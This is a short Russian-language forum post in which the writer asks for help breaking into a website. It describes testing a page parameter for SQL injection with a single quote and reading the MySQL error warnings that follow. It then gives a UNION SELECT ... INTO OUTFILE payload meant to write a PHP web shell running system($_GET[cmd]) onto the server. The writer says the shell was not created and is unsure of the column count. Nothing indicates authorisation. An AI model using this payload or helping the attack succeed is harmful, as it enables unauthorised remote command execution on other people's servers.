Помогите плис. Есть сайт: бла...бла...бла/1.php?page=1
Я подставил: бла...бла...бла/1.php?page=1'
Мне выдало:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in …
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in …

Узнал установочную директорию сайта.
Потом я подставил:
-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+' бла...бла...бла/shzw.php '/*

В виде HTML(изменилось такое):

Раньше было:
<form action=1.php?page =-1 method="POST">
на
<form action=1.php?page =-1 union select 1,2,3,4,5,\'<?php system($_GET[cmd]); ?>\' from mysql.user into outfile \'…/shzw.php\'/* method="POST">


Но шелл не создался. И да кстати я не уверен что правильно подобрал количество полей.